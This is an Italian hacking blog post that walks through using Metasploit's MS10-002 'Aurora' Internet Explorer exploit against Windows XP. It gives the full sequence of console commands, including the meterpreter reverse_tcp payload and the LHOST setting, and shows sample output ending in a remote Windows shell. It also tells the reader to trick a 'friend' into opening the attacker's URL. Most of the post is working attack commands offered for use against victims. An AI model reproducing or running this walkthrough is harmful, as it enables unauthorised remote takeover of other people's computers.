ClsHack.it

Non pubblico subito questi exploit, per dare tempo a tutti gli utenti di aggiornare il loro windows per evitare che qualcuno faccia casini in giro per il web a caso :)

Comunque sia, questo exploit è uscito il diciamo il 20 gennaio più o meno.
E’ stato testato da me su internet explorer 6, 7e 8 su windows XP SP3 e funziona perfettamente purtroppo per gli utenti windows.

Sfruttando questo exploit, potremo prendere il controllo della macchina da remoto con i privilegi dell’utente che sta navigando su internet.

Quindi a differenza di quest’altro exploit:
[Virtual DOS]Exploit privilege escalation windows 2000/XP/VISTA/7/SERVER
non avremo i privilegi kernel :( ma vabbè saremo amministratori nella maggior parte dei casi.
Ma vediamo come sfruttare questo exploit con metasploit : )

Io testerò questo exploit da ubuntu verso il mio windows xp sp3 con IE 6 in macchina virtuale.
Cominciamo :)
La prima cosa da fare, è aprire metasploit in console :)
Se non hai installato metasploit, puoi trovare la guida su come farlo qui:
Come installare Metasploit Framework su Ubuntu (e derivati)

Una volta installato, oppure se l’abbiamo già, la prima cosa da fare, è aggiornare gli exploit per avere quello che sfrutteremo, quindi digitiamo:
svn update
Poi apriamolo:
sudo ./msfconsole
Bene ora carichiamo l’exploit : )
Quindi sulla console digitiamo:
use exploit/windows/browser/ms10_002_aurora
poi:
set PAYLOAD windows/meterpreter/reverse_tcp
poi:
set LHOST NOSTRO IP (lo possiamo vedere digitando: ifconfig )
poi:
set URIPATH /
e infine lanciamo l’exploit digitando:
exploit
A questo punto avremo un output simile a questo:
[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http//NOSTRO_IP:8080/
[*] Server started.

msf exploit(ie_aurora) >
A questo punto quindi dovremo far visitare al nostro “amichetto” questo indirizzo:
http//NOSTRO_IP:8080/
Una volta che il nostro amichetto visiterà quell’indirizzo, avremo un output simile a questo:
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)
bene ora digitiamo:
sessions -i 1
Ora per aprire la shell digitiamo:
shell
avremo questo output:

Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>

Altri:

1. [guida]Oday-Exploit Adobe Reader: Hack di Windows con metasploit
2. IE 6/7 EXPLOIT XML Remote Code Execution with METASPLOIT
3. KiTrap0D Virtual-DOS oday per metasploit :)
4. [CVE-2010-2568]Metasploit:windows Oday Remote Code Exuction
5. [Samba EXPLOIT]Symlink Traversal (guida metasploit)